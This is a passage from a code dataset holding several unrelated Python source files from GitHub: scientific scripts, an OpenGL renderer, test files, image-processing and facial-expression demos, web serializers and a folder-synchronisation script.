assemble((spline.rationalize(u_hom)-soln)*spline.dx)\nprint(L2_error)\nprint(L_error)","repo_name":"dshguilherme/Doutorado","sub_path":"tIGAr Scripts/QuarterAnnulus.py","file_name":"QuarterAnnulus.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32762493324","text":"import time\n\nimport numpy as np\nimport torch\nfrom mpire import WorkerPool\nfrom scipy import stats\n\nimport data_loader\n\nfrom sklearn.model_selection import KFold\n\n\ndef dist_between_matrices(a, b):\n    # https: // gmarti.gitlab.io / math / 2019 / 12 / 25 / riemannian - mean - correlation.html\n    _, eigenvals, _ = torch.linalg.svd(torch.linalg.solve(a, b))\n    return torch.sqrt(torch.sum(torch.log(eigenvals) ** 2))\n\n\ndef get_distance(x, i, j):\n    print(i, j)\n    return i, j, dist_between_matrices(x[:, :, i], x[:, :, j])\n\n\ndef get_x_distance_matrix(x):\n    now = time.time()\n    print(\"Starting distance matrix calculation\")\n    with WorkerPool(n_jobs=1, shared_objects=x) as pool:\n        args = []\n        for i in range(x.shape[2]):\n            for j in range(i + 1, x.shape[2]):\n                args.append((i, j))\n        results = pool.map(get_distance, args)\n    print(\"time: {}\".format(time.time() - now))\n\n    dists = np.zeros((x.shape[2], x.shape[2]))\n    for i, j, dist in results:\n        dists[i, j] = dist\n        dists[j, i] = dist\n    return dists\n\n\ndef get_y_distance_matrix(y):\n    dists = np.zeros((y.shape[0], y.shape[0]))\n    for i in range(y.shape[0]):\n        for j in range(i + 1, y.shape[0]):\n            dists[i, j] = abs(y[i] - y[j])\n            dists[j, i] = dists[i, j]\n    return dists\n\n\ndef fit(x, y):\n    x_dist_matrix = get_x_distance_matrix(x)\n    y_dist_matrix = get_y_distance_matrix(y)\n\n    cov = 0\n    var = 0\n    for i in range(x.shape[2]):\n        for j in range(i + 1, x.shape[2]):\n            cov += x_dist_matrix[i, j] * y_dist_matrix[i, j]\n            var += y_dist_matrix[i, j] ** 2\n    k = cov / var\n    return k, x_dist_matrix, y_dist_matrix\n\n\ndef fit_x_to_y(k, y, known_x, known_y):\n    # assuming that x must be a correlation matrix\n    n_entries = (known_x.shape[0] ** 2 - known_x.shape[0]) / 2\n    x_vector = 2 * torch.rand(size=(int(n_entries), 1)) - 1\n    x_vector.requires_grad = True\n\n    optimizer = torch.optim.Adam([x_vector], lr=0.1)\n    y = torch.tensor(y).float()\n    known_x_list = known_x.detach().unbind(2)\n\n    upper_indices = np.triu_indices(known_x.shape[0], 1)\n    torch.autograd.set_detect_anomaly(True)\n\n    min_loss = float(\"inf\")\n    best = None\n\n    steps_since_improvement = 0\n    abs_y_diff = torch.abs(y - known_y)\n    for j in range(100000):\n        optimizer.zero_grad()\n\n        a = ut_to_full(known_x, upper_indices, x_vector)\n\n        x_dists = torch.stack([dist_between_matrices(a, x) for x in known_x_list])\n        loss_ = ((k * abs_y_diff - x_dists) ** 2).sum()\n        loss_.backward()\n\n        min_loss = min(loss_.item(), min_loss)\n        if min_loss == loss_.item():\n            steps_since_improvement = 0\n            best = a.detach().numpy()\n        else:\n            steps_since_improvement += 1\n\n        if steps_since_improvement > 100:\n            break\n\n        optimizer.step()\n\n        if x_vector.isnan().any():\n            print(\"nan\")\n            break\n        print(loss_.item(), steps_since_improvement)\n\n    print(min_loss)\n    return ut_to_full(known_x, upper_indices, best)\n\n\ndef ut_to_full(known_x, upper_indices, x_vector):\n    a = torch.eye(known_x.shape[0]).float()\n    transformed_x = torch.tanh(x_vector).squeeze()  # tanh to keep values between -1 and 1\n    a[upper_indices] = transformed_x\n    a.T[upper_indices] = transformed_x\n    return a\n\n\ndef fit_y_to_x(k, x, known_x_list, known_y_list):\n\n    y = torch.tensor(known_y_list.mean()).float().requires_grad_()\n    optimizer = torch.optim.Adam([y], lr=0.1)\n    x_dists = torch.stack([dist_between_matrices(a, x) for a in known_x_list.unbind(2)])\n    known_y_list = torch.tensor(known_y_list)\n\n    torch.autograd.set_detect_anomaly(True)\n\n    min_loss = float(\"inf\")\n\n    steps_since_improvement = 0\n    for j in range(100000):\n        optimizer.zero_grad()\n\n        loss_ = ((k * torch.abs(y - known_y_list) - x_dists) ** 2).sum()\n        loss_.backward()\n\n        last_min = min_loss\n        min_loss = min(loss_.item(), min_loss)\n        if min_loss < last_min:\n            steps_since_improvement = 0\n        else:\n            steps_since_improvement += 1\n\n        if steps_since_improvement > 100:\n            break\n\n        optimizer.step()\n        print(loss_.item(), steps_since_improvement, y.item())\n\n    print(min_loss)\n    return y.detach().item()\n\n\ndef main():\n    dl = data_loader.DataLoader(\n        protocol_c=[\n            # \"IMAGEN\",\n            # \"sadie-marie\",\n            \"test_data\"\n        ],\n        file_c=None,\n        # [\n        # \"mats_sst_fu2.mat\",\n        # \"rest_estroop_acc_interf_2460_cpm_ready.mat\",\n        # \"enback_estroop_acc_interf_2460_cpm_ready.mat\",\n        # \"stp_all_clean2.mat\"\n        # ],\n        y_col_c=None,\n        clean_data=True, as_r=True)\n    for data_set in dl.data_sets:\n        x = torch.from_numpy(data_set.x).float()\n        y = data_set.y\n        kf = KFold(n_splits=5, shuffle=True).split(y)\n        y_hat = [None] * len(y)\n        for train_index, test_index in kf:\n            split_x_as_r = x[:, :, train_index]\n            split_y = y[train_index]\n            k, x_dist_matrix, y_dist_matrix = fit(split_x_as_r, split_y)\n            for ti in test_index:\n                y_hat[ti] = fit_y_to_x(k, x.unbind(2)[ti], split_x_as_r, split_y)\n\n        # noinspection PyTypeChecker\n        print(stats.spearmanr(y, y_hat))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"misterriley/CPM_compare","sub_path":"distance_regression.py","file_name":"distance_regression.py","file_ext":"py","file_size_in_byte":5393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4226992228","text":"from configurations.datasets.datasetloaderinterface import DatasetLoaderInterface\nfrom configurations.datasets.Credit.read_credit_data import load_credit\nfrom pathlib import Path\n\n# Please make sure that you add credit_edges.txt to the local folder ./Credit. It has all the information to build edges.\n# It is not included in this repo because it's too large for Github.\n\nclass DatasetLoader_Credit(DatasetLoaderInterface):\n\n    def __init__(self, dataset_name: str, train_split:int, test_split:int):\n\n        self.ds_name = dataset_name\n        self.train = train_split\n        self.test = test_split\n\n        base_path = Path().parent\n        rel_path = f\"./configurations/datasets/Credit\"\n        file_path = (base_path / rel_path).resolve()\n        \n        # If no train or test split are given (one of them is zero), use public split\n        if train_split == 0 or test_split == 0:\n            self.data = load_credit(path = file_path , sens_attr=\"Age\", predict_attr=\"NoDefaultNextMonth\", label_number=1000)\n            return\n    \n        self.data = load_credit(path = file_path , sens_attr=\"Age\", predict_attr=\"NoDefaultNextMonth\", train_to_split=(self.train,self.test))\n\n        print(self.data.train_mask.sum())\n        print(self.data.test_mask.sum())\n\n\n    def get_data(self):\n\n        return self.data\n","repo_name":"Anmarnh95/attribute-inference-attacks-on-graph-neural-network","sub_path":"configurations/datasets/datasetloader_credit.py","file_name":"datasetloader_credit.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2461443094","text":"from humps import camelize\nfrom pydantic import BaseModel\n\n\ndef to_camel(string: str) -> str:\n    \"\"\"Return the camel case version of a given string\"\"\"\n    return camelize(string)\n\n\nclass CamelCaseModel(BaseModel):\n    \"\"\"Base model that converts snake to camel case when serialized\"\"\"\n\n    class Config:\n        \"\"\"Config\"\"\"\n        alias_generator = to_camel\n        allow_population_by_field_name = True\n","repo_name":"SELab-2/OSOC-3","sub_path":"backend/src/app/schemas/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"}
+{"seq_id":"18684483233","text":"'''\nCreated on May 29, 2014\n\n@author: Saahiti and Alisa\n'''\n\nfrom math import sqrt\n\n\"\"\"\nQuadratic / cubic equations\nFind the roots\n\"\"\"\n\ndef quadratic(a=0, b=0, c=0):\n    inside = b**2 - 4*a*c\n    \n    if (inside >=0):\n        x1 = ((-b)+ sqrt(inside))/(2*a)\n        x2 = ((-b)- sqrt(inside))/(2*a)      \n        \n        if not(x1 == x2):\n            print(\"The solutions of the equation are\", x1, \"and\", x2)\n        else:\n            print(\"The solution of the equation is\", x1)\n      \n    else:\n        print(\"The equation does not have any real solutions.\")\n\n\n\nprint(\"Enter the values for your equation: \")\na = float(input(\"a = \"))\nb = float(input(\"b = \"))\nc = float(input(\"c = \"))\n\nquadratic(a, b, c)\n\n","repo_name":"saahiti/Calculator","sub_path":"src/OtherMethods.py","file_name":"OtherMethods.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74549111552","text":"from ctypes import Structure, sizeof\nimport glfw\nfrom OpenGL.GL import *\nfrom PIL import Image\n\nclass Shader:\n    def __init__(self):\n        self.handle = glCreateProgram()\n    \n    def attach_shader(self, content, type, log_always=False):\n        shader = glCreateShader(type)\n        glShaderSource(shader, [content])\n        glCompileShader(shader)\n\n        status = ctypes.c_uint(GL_UNSIGNED_INT)\n        glGetShaderiv(shader, GL_COMPILE_STATUS, status)\n        if log_always or not status:\n            print(glGetShaderInfoLog(shader).decode(\"utf-8\"), file=sys.stderr)\n            glDeleteShader(shader)\n            return False\n        \n        glAttachShader(self.handle, shader)\n        glDeleteShader(shader)\n        return True\n\n    def link(self, log_always=False):\n        glLinkProgram(self.handle)\n        status = ctypes.c_uint(GL_UNSIGNED_INT)\n        glGetProgramiv(self.handle, GL_LINK_STATUS, status)\n        if log_always or not status:\n            print(glGetProgramInfoLog(self.handle).decode(\"utf-8\"), file=sys.stderr)\n            return False\n        return True\n    \n    def use(self):\n        glUseProgram(self.handle)\n\n    def unuse(self):\n        glUseProgram(0)\n\nclass Vertex(Structure):\n    _fields_ = [\n        ('position', GLfloat * 2),\n        ('color', GLfloat * 4)\n    ]\n\nvert = \"\"\"\n#version 460\n\nlayout (location = 0) in vec2 vertex;\nlayout (location = 1) in vec4 color;\n\nlayout (location = 0) out vec4 outColor;\n\nvoid main() {\n    gl_Position = vec4(vertex, 0, 1);\n    outColor = color;\n}\n\"\"\"\n\nfrag = \"\"\"\n#version 460\n\nlayout (location = 0) in vec4 color;\n\nlayout (location = 0) out vec4 outColor;\n\nvoid main() {\n    outColor = color;\n}\n\"\"\"\n\ndef main():\n    if not glfw.init():\n        raise RuntimeError(\"failed to initialize GLFW\")\n    \n    window = glfw.create_window(100, 1600, \"OpenGL\", None, None)\n    if not window:\n        glfw.terminate()\n        raise RuntimeError(\"failed to create GLFWwindow\")\n\n    glfw.window_hint(glfw.CONTEXT_VERSION_MAJOR, 4)\n    glfw.window_hint(glfw.CONTEXT_VERSION_MINOR, 6)\n    glfw.make_context_current(window)\n\n    vertex = (Vertex * 10)(\n        Vertex((-1, 1), (1, 0, 0, 1)), Vertex((1, 1), (1, 0, 0, 1)),\n        Vertex((-1, 0.5), (1, 1, 0, 1)), Vertex((1, 0.5), (1, 1, 0, 1)),\n        Vertex((-1, 0), (0, 1, 0, 1)), Vertex((1, 0), (0, 1, 0, 1)),\n        Vertex((-1, -0.5), (0, 1, 1, 1)), Vertex((1, -0.5), (0, 1, 1, 1)),\n        Vertex((-1, -1), (0, 0, 1, 1)), Vertex((1, -1), (0, 0, 1, 1))\n    )\n    vtx = glGenBuffers(1)\n    glBindBuffer(GL_ARRAY_BUFFER, vtx)\n    glBufferData(GL_ARRAY_BUFFER, sizeof(vertex), vertex, GL_STATIC_DRAW)\n\n    vao = glGenVertexArrays(1)\n    glBindVertexArray(vao)\n    glBindBuffer(GL_ARRAY_BUFFER, vtx)\n    glEnableVertexAttribArray(0)\n    glEnableVertexAttribArray(1)\n    glVertexAttribPointer(0, 2, GL_FLOAT, GL_FALSE, sizeof(Vertex),GLvoidp(Vertex.position.offset))\n    glVertexAttribPointer(1, 4, GL_FLOAT, GL_FALSE, sizeof(Vertex), GLvoidp(Vertex.color.offset))\n\n    program = Shader()\n    program.attach_shader(vert, GL_VERTEX_SHADER)\n    program.attach_shader(frag, GL_FRAGMENT_SHADER)\n    program.link()\n\n    glClearColor(0, 0, 0, 1)\n    \n    glClear(GL_COLOR_BUFFER_BIT)\n\n    program.use()\n    glBindVertexArray(vao)\n    glDrawArrays(GL_TRIANGLE_STRIP, 0, 10)\n    glBindVertexArray(0)\n    program.unuse()\n    pixels = glReadPixels(0, 0, 100, 1600, GL_RGBA, GL_UNSIGNED_BYTE)\n    img = Image.frombytes(\"RGBA\", (100, 1600), pixels)\n    img = img.transpose(Image.FLIP_TOP_BOTTOM)\n\n    img.save(\"heatmap.png\")\n\n    while glfw.window_should_close(window) == glfw.FALSE:\n        glClear(GL_COLOR_BUFFER_BIT)\n\n        program.use()\n        glBindVertexArray(vao)\n        glDrawArrays(GL_TRIANGLE_STRIP, 0, 10)\n        glBindVertexArray(0)\n        program.unuse()\n\n        glfw.swap_buffers(window)\n        glfw.wait_events()\n\n    glDeleteProgram(program.handle)\n    glDeleteVertexArrays(1, [vao])\n    glDeleteBuffers(1, [vtx])\n\n    glfw.terminate()\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"asuka1975/website","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72356543231","text":"from rest_framework import serializers\n\nfrom podcast.models import ConteudoModel\nfrom podcast.serializers import ArquivoSerializer\n\n\nclass ConteudoSerializer(serializers.ModelSerializer):\n    file = ArquivoSerializer(required=False)\n\n    class Meta:\n        model = ConteudoModel\n        fields = [\n            \"id\",\n            \"id_conteudo\",\n            \"title\",\n            \"members\",\n            \"thumbnail\",\n            \"description\",\n            \"published_at\",\n            \"file\",\n        ]\n\n    def create(self, validated_data):\n        arquivo = validated_data.pop(\"file\")\n        file = ArquivoSerializer(data=arquivo)\n        file.is_valid(raise_exception=True)\n        file = file.save()\n        validated_data[\"file_id\"] = file.pk\n\n        return super(ConteudoSerializer, self).create(validated_data)\n","repo_name":"knowrafa/podcast-backend","sub_path":"podcast/serializers/conteudo.py","file_name":"conteudo.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25865005214","text":"import os\nfrom multiprocessing import Process\nimport datetime\nimport time\nimport logging\nimport csv\nimport json\n\nimport pytest\n\nfrom utils.shooting import LaserController, LaserInterface\n\nlogger = logging.getLogger('tests.shooting_test')\n\nDEBUG = True\n\nOUTPUT_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'output', 'shooting_test')\n\nSHORT_COOLDOWN = 0.2  # seconds\nSHORT_RECOVERY = 0.3  # seconds\n\nREAD = 'READ'\nWRITE = 'WRITE'\nFIRE = r'FIRE\\n'\nHIT = 'HIT'\n\n\nINIT_VALUE = datetime.datetime(100, 1, 1)\nTEST_VALUE = datetime.datetime(200, 1, 1)\n\n\ndef empty_output_dir():\n    logging.debug('Emptying output directory %s', OUTPUT_DIR)\n    for filename in os.listdir(OUTPUT_DIR):\n        filepath = os.path.join(OUTPUT_DIR, filename)\n        os.remove(filepath)\n\n\ndef setup_module():\n    logger.info('Setting up %s module', __name__)\n    if os.path.isdir(OUTPUT_DIR):\n        empty_output_dir()\n    else:\n        logger.debug('Creating output directory %s', OUTPUT_DIR)\n        os.makedirs(OUTPUT_DIR)\n\n\ndef teardown_module():\n    if not DEBUG:\n        empty_output_dir()\n\n\nclass ValueChangerProcess(Process):\n    def __init__(self, laser_interface):\n        super(ValueChangerProcess, self).__init__()\n        self.interface = laser_interface\n\n    def run(self):\n        self.interface.last_fired = TEST_VALUE\n\n\nclass ValueCheckerProcess(Process):\n    def __init__(self, laser_interface):\n        super(ValueCheckerProcess, self).__init__()\n        self.interface = laser_interface\n        self.initial_val = laser_interface.last_fired\n\n    def run(self):\n        time.sleep(0.1)\n        assert self.initial_val == INIT_VALUE\n        assert self.interface.last_fired == TEST_VALUE\n\n\n# DEADDROP TESTS\n\n\n@pytest.fixture\ndef laser_interface():\n    return LaserInterface(SHORT_COOLDOWN, SHORT_RECOVERY)\n\n\ndef test_put_across_processes(laser_interface):\n    laser_interface.last_fired = INIT_VALUE\n    proc = ValueChangerProcess(laser_interface)\n    proc.start()\n    time.sleep(0.1)\n    assert laser_interface.last_fired == TEST_VALUE\n    proc.join()\n\n\ndef test_get_across_processes(laser_interface):\n    laser_interface.last_fired = INIT_VALUE\n    proc = ValueChangerProcess(laser_interface)\n    proc.start()\n    laser_interface.last_fired = TEST_VALUE\n    proc.join()\n\n\ndef datetime_to_list(dt=None):\n    if dt is None:\n        dt = datetime.datetime.now()\n    return [dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, dt.microsecond]\n\n\ndef list_to_datetime(lst):\n    return datetime.datetime(*lst)\n\n\nclass DummySerial(object):\n    def __init__(self, output_filename=None, is_hit=False):\n        self.output_path = self.set_filename(output_filename)\n        self.is_hit = is_hit\n\n    def write(self, arg):\n        self.log(WRITE, arg)\n\n    @property\n    def in_waiting(self):\n        return self.is_hit\n\n    def read(self):\n        return HIT if self.is_hit else ''\n\n    def log(self, operation, msg=''):\n        with open(self.output_path, 'a') as f:\n            f.write(\n                '{}\\t{}\\t{}\\n'.format(datetime_to_list(), operation, msg.encode('string_escape') if msg else 'EMPTY_MESSAGE')\n            )\n\n    def set_filename(self, filename):\n        if filename is None:\n            return\n        self.output_path = os.path.join(OUTPUT_DIR, filename)\n        return self.output_path\n\n    def read_log(self):\n        with open(self.output_path) as f:\n            reader = csv.DictReader(f, fieldnames=['time', 'op', 'msg'], delimiter='\\t')\n            out = []\n            for line in reader:\n                line['time'] = list_to_datetime(json.loads(line['time']))\n                out.append(line)\n            return out\n\n\n@pytest.fixture\ndef controller_dummy(request):\n    controller = LaserController()\n    dummy_serial = DummySerial(request.function.__name__ + '.txt')\n    controller.interface.cooldown = datetime.timedelta(seconds=SHORT_COOLDOWN)\n    controller.interface.recovery = datetime.timedelta(seconds=SHORT_RECOVERY)\n    controller.laser_process.ser = dummy_serial\n    return controller, dummy_serial\n\n\ndef test_instantiate_controller(controller_dummy):\n    controller, dummy_serial = controller_dummy\n    controller.start()\n    assert controller.laser_process.is_alive()\n    controller.stand_down()\n    assert not controller.laser_process.is_alive()\n\n\ndef test_commander_with(controller_dummy):\n    controller, dummy_serial = controller_dummy\n    with controller:\n        assert controller.laser_process.is_alive()\n    assert not controller.laser_process.is_alive()\n\n\ndef test_fire_once(controller_dummy):\n    controller, dummy_serial = controller_dummy\n    with controller:\n        controller.fire_once()\n    log = dummy_serial.read_log()\n    assert len(log) == 1\n    assert log[0]['op'] == WRITE\n    assert log[0]['msg'] == FIRE\n\n\ndef test_fire_multiple(controller_dummy):\n    controller, dummy_serial = controller_dummy\n    with controller:\n        controller.fire_multiple(3)\n    log = dummy_serial.read_log()\n    assert len(log) == 3\n    assert all(line['op'] == WRITE for line in log)\n    assert all(line['msg'] == FIRE for line in log)\n    for this, that in zip(log, log[1:]):\n        assert that['time'] - this['time'] >= datetime.timedelta(seconds=SHORT_COOLDOWN)\n\n\ndef test_fire_at_will(controller_dummy):\n    controller, dummy_serial = controller_dummy\n    with controller:\n        controller.fire_at_will()\n        time.sleep(SHORT_COOLDOWN*6)\n    log = dummy_serial.read_log()\n    assert len(log) > 3  # allow some time for loop execution etc.\n    assert all(line['op'] == WRITE for line in log)\n    assert all(line['msg'] == FIRE for line in log)\n    for this, that in zip(log, log[1:]):\n        assert that['time'] - this['time'] >= datetime.timedelta(seconds=SHORT_COOLDOWN)\n\n\ndef test_last_fired(controller_dummy):\n    controller, dummy_serial = controller_dummy\n    with controller:\n        controller.fire_once()\n        first_shot = controller.last_fired\n        controller.fire_once()\n        second_shot = controller.last_fired\n\n    assert second_shot - first_shot > datetime.timedelta(seconds=SHORT_COOLDOWN)\n","repo_name":"clbarnes/pixybattle","sub_path":"src/python/tests/shooting_test.py","file_name":"shooting_test.py","file_ext":"py","file_size_in_byte":6077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37442504216","text":"# This file takes an image of a worm and crops it so it only shows the head\n# in a 100 x 100 pixel image. It uses image subtraction\n\nimport cv2\nimport numpy as np\nimport glob\nimport os\nimport shutil\nimport re\n\ndef atoi(text):\n    return int(text) if text.isdigit() else text\n\ndef natural_keys(text):\n    return [ atoi(c) for c in re.split('(\\d+)', text) ]\n\ndef Listdir_nohidden(path):\n    lst = os.listdir(path)\n    lst.sort(key=natural_keys)\n    for f in lst:\n        if not f.startswith('.'):\n            yield f\n\ndef CleanAndMakeDir(destinationFolder):\n    if (os.path.isdir(destinationFolder)):\n        shutil.rmtree(destinationFolder)\n    os.mkdir(destinationFolder)\n\n\ndef CropImage(imageDiff, origImage, threshold_anchor, threshold_range, search_range, crop_size):\n    height, width = imageDiff.shape\n    min = 0\n    maxcount = 0\n    min_i = 0\n    min_j = 0\n    search_range = search_range / 2\n    crop_size = crop_size / 2\n\n    for i in range(0,height):\n        for j in range(0,width):\n            if (imageDiff[i,j] < -threshold_anchor):\n                count = 0\n                sum = 0\n                for k in range(i-search_range,i+search_range):\n                    for l in range(j-search_range,j+search_range):\n                        if ((k > 0) and (k < height) and (l > 0) and (l < width)):\n                            if (imageDiff[k,l] < -threshold_range):\n                                count = count + 1\n                                sum = sum + (-1*imageDiff[k,l])\n\n                if (count > maxcount):\n                    min_i = i\n                    min_j = j\n                    min = imageDiff[i,j]\n                    maxcount = count\n\n    #keeps it from cropping off the side of the picture\n    if ((min_i - crop_size)<0): min_i = crop_size\n    if ((min_i + crop_size) >= height): min_i = height - crop_size - 1\n    if ((min_j - crop_size) < 0): min_j = crop_size\n    if ((min_j + crop_size) >= width): min_j = width - crop_size - 1\n\n    imagecrop = origImage[min_i-crop_size:min_i+crop_size, min_j-crop_size:min_j+crop_size]\n\n    return imagecrop\n\n\ndef CropAllImages(destinationFolder, sourceFolder):\n    CleanAndMakeDir(destinationFolder)\n    categories = Listdir_nohidden(sourceFolder)\n\n    for category in categories:\n        os.mkdir(destinationFolder + \"/\" + category)\n        plates = Listdir_nohidden(sourceFolder + \"/\" + category)\n\n        for plate in plates:\n            os.mkdir(destinationFolder + \"/\" + category + \"/\" + plate)\n            files = Listdir_nohidden(sourceFolder + \"/\" + category + \"/\" + plate)\n            images = []\n\n            for img in files:\n                images.append(img)\n\n            path = sourceFolder + \"/\" + category + \"/\" + plate + \"/\"\n            for i in range(1,len(images)):\n                image1 = cv2.imread(path + images[i-1],0)\n                if image1 is None:\n                    print (\"Image \" + str(i) + \" of plate \" + str(plate) + \" could not be opened\")\n                    continue\n                image1 = image1.astype(np.int16)\n                image2 = cv2.imread(path + images[i],0)\n                if image2 is None:\n                    print (\"Image \" + str(i) + \" of plate \" + str(plate) + \" could not be opened\")\n                    continue\n                image2 = image2.astype(np.int16)\n                imageDiff = image2 - image1\n\n                imagecrop = CropImage(imageDiff)\n                cv2.imwrite(destinationFolder\n                        + \"/\" + category + \"/\" + plate + \"/\" + images[i], imagecrop)\n\n# Crop all New Data Images\nCropAllImages(\"/Users/patrickhayes/Desktop/Dest\", \"/Users/patrickhayes/Desktop/Source\", 10, 10, 10, 100)\n","repo_name":"aarong4743/KerasImageAnalysis","sub_path":"KerasImageAnalysis/cropImages.py","file_name":"cropImages.py","file_ext":"py","file_size_in_byte":3658,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"12966226497","text":"import numpy as np\nimport cv2\nimport dlib\nfrom imutils import face_utils\nimport imutils\nfrom sklearn import preprocessing\nimport math\nfrom keras.models import model_from_json\n\nimport tensorflow as tf\ntf.reset_default_graph()\nimport detect_face\nfrom keras import backend as K\n\n\nsess = tf.Session()\n\npnet, rnet, onet = detect_face.create_mtcnn(sess, None)\n\nminsize = 40 # minimum size of face\nthreshold = [ 0.6, 0.7, 0.8 ]  # three steps's threshold\n\nfactor = 0.709 # scale factor\n#-----------------------------\n#opencv initialization\ncap = cv2.VideoCapture(0) # 'videos/1001_DFA_HAP_XX.flv'\n\n\n#-----------------------------\n#face expression recognizer initialization\n# Using pretrained model\nmodel = model_from_json(open(\"../model/CNN_model.json\", \"r\").read())\nmodel.load_weights('../model/CNN_model.h5') #load weights best is Copy\n#-----------------------------\n\n\nemotions = ('Neutral', 'Angry','Disgust', 'Fear', 'Happy', 'Sad', 'Surprise', 'Contempt')\n\n\ncnt = 0\nret, img = cap.read()\nheight, width = img.shape[:2]\n\nminlength = min(height, width)\nminsize = max(int(minlength / 10), 40)\n#fourcc = cv2.VideoWriter_fourcc(*'MPEG')\nout = cv2.VideoWriter('../videos/output.avi', cv2.VideoWriter_fourcc('M','J','P','G'), 5, (width, height))\n\nwhile(cap.isOpened()):\n    cnt = cnt+1\n    \n\n    if ret == True:\n        \n        bounding_boxes, points = detect_face.detect_face(img, minsize, pnet, rnet, onet, threshold, factor)\n\n    \n        if len(bounding_boxes) > 0:\n#            cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2) #draw rectangle to main image\n            for person in bounding_boxes:\n                \n                distances = []\n#                print(person)\n                \n    #            bounding_box = result[0]['box']\n    #            keypoints = result[0]['keypoints']\n                x , y, w,h = int(person[0]),int(person[1]), int(person[2]-person[0]), int(person[3]-person[1])\n    #            cut =int(h - w)\n    #            print(cut)\n                cut =min(int(h * 20 / 100), int(h-w))\n                \n                h=h-cut\n                y=y+cut\n                #print (bounding_box)\n    #            roi = img[y:y+h, x-diff:x+w+diff]\n                roi = img[y:y+h, x:x+w]\n#                roi1 = cv2.resize(roi, (200, 200), interpolation=cv2.INTER_CUBIC)\n                \n                roi1 = cv2.cvtColor(roi, cv2.COLOR_BGR2GRAY)\n                roi1 = cv2.resize(roi1, (48, 48))\n     \n                cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2) #draw rectangle to main image\n    \n                val = np.asarray(roi1) \n                val = val.reshape(1,48,48)\n                val = val.reshape(1,48,48,1)\n                val = val.astype('float32')\n                \n                predictions = model.predict(val) #store probabilities of 6 expressions\n            #find max indexed array ( 'Angry' , 'Disgust' , 'Fear' , 'Happy'  , 'Neutral' ,  'Sad' , 'Surprise')\n            # 'Neutral', 'Angry','Disgust', 'Fear', 'Happy', 'Sad', 'Surprise', 'Contempt'\n                print (\"Neutral: %\", predictions[0][0]/1.0 * 100)\n                print (\"Angry: %\", predictions[0][1]/1.0 * 100)\n                print (\"Disgust: %\", predictions[0][2]/1.0 * 100)\n                print (\"Fear: %\", predictions[0][3]/1.0 * 100)\n                print (\"Happy: %\", predictions[0][4]/1.0 * 100)\n                print (\"Sad: %\", predictions[0][5]/1.0 * 100)    \n                print (\"Surprised: %\", predictions[0][6]/1.0 * 100)     \n                print (\"Contempt: %\", predictions[0][7]/1.0 * 100)     \n                print (\"----------------------\"    )    \n                max_index = np.argmax(predictions[0])\n                emotion = emotions[max_index]\n            \n                #write emotion text above rectangle\n                cv2.putText(img, emotion, (int(x), int(y)), cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 2)\n            \n        out.write(img)\n        cv2.imshow('img',img)\n        \n        ret, img = cap.read()\n    \n        if cv2.waitKey(10) & 0xFF == ord('q'): #press q to quit\n            break\n    else:\n        break\n\n#kill open cv things        \ncap.release()\nout.release()\ncv2.destroyAllWindows()\nsess.close()\nK.clear_session()\n","repo_name":"ailabspace/bacha-afer-dev-framework","sub_path":"Src/demo_CNN.py","file_name":"demo_CNN.py","file_ext":"py","file_size_in_byte":4197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4085880140","text":"from shutil import copytree, copy2\r\nimport os\r\nimport shutil\r\nfrom apscheduler.schedulers.blocking import BlockingScheduler\r\nfrom datetime import datetime\r\nimport pytz\r\nimport logging\r\nimport filecmp \r\n\r\n\r\nclass Synchro(object):\r\n    def __init__(self, source_folder, destination_folder, log_file_path, synchronisation_content):\r\n        \r\n        self.source_folder = os.path.abspath(source_folder)\r\n        self.destination_folder = os.path.abspath(destination_folder)\r\n        self.log_file_path = os.path.abspath(log_file_path)\r\n        self.copyfiles = None\r\n        self.sched = BlockingScheduler(timezone=pytz.timezone('Europe/Berlin'))\r\n        self.synchronisation_content = synchronisation_content\r\n        self.logging = logging\r\n        self.logging.basicConfig(filename=self.log_file_path, level=logging.DEBUG,format=\"%(asctime)s %(message)s\")\r\n        \r\n    def initial_copy(self):\r\n        self.copyfiles = copytree(self.source_folder, self.destination_folder, symlinks=True, ignore=None, copy_function=copy2, ignore_dangling_symlinks=False)\r\n        self.logging.info(\"Initial copy from folder\" + self.source_folder + \" to destination folder\" + self.destination_folder)\r\n \r\n    def synchronise(self):\r\n        print('Tick! The time is: %s' % datetime.now())\r\n        self.compare_files_directories(self.source_folder, self.destination_folder)\r\n        self.logging.info(\"informations from folder\" + self.source_folder + \" are synchronize with success to destination folder\" + self.destination_folder)\r\n        \r\n    def compare_files_directories(self, left, right):\r\n        comparison = filecmp.dircmp(left, right)\r\n        if comparison.common_dirs:\r\n            for dir in comparison.common_dirs:\r\n                self.compare_files_directories(os.path.join(left, dir), os.path.join(right, dir))\r\n        if comparison.left_only:\r\n            self.copy_files(comparison.left_only, left, right)\r\n        left_newer = []\r\n        if comparison.diff_files:\r\n            for d in comparison.diff_files:\r\n                left_modified = os.stat(os.path.join(left, d)).st_mtime\r\n                right_modified = 